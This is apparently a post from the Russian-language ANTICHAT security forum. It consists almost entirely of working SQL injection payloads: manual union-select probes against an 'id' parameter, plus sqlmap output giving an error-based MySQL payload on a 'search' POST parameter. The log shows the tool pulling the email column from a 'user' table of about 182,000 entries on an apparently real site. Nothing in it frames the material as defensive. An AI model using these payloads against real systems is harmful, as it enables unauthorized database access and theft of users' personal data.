ANTICHAT — форум по информационной безопасности, OSINT и технологиям

?id=7') union select 1,2,3,4

?id=7')%0A union select 1,2,3,4

?id=7')%0A union select 1,2,3,4 and 1=('1

Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: search=if(now()=sysdate(),sleep(0),0)/'||(SELECT 'YgBm' FROM DUAL WHERE 2861=2861 AND (SELECT 1089 FROM(SELECT COUNT(*),CONCAT(0x7170627671,(SELECT (ELT(1089=1089
,1))),0x71716b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||''XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"/
---
[12:21:59] [INFO] testing MySQL
[12:21:59] [INFO] confirming MySQL
[12:21:59] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.45
back-end DBMS: MySQL >= 5.0.0
[12:21:59] [INFO] fetching entries of column(s) 'email' for table 'user' in database 'SITE.COM'
[12:21:59] [INFO] the SQL query used returns 182215 entries
due to huge table size do you want to remove ORDER BY clause gaining speed over consistency? [y/N] N
[12:21:59] [INFO] starting 10 threads
[12:22:00] [INFO] heuristics detected web page charset 'windows-1252'
[12:22:00] [WARNING] reflective value(s) found and filtering out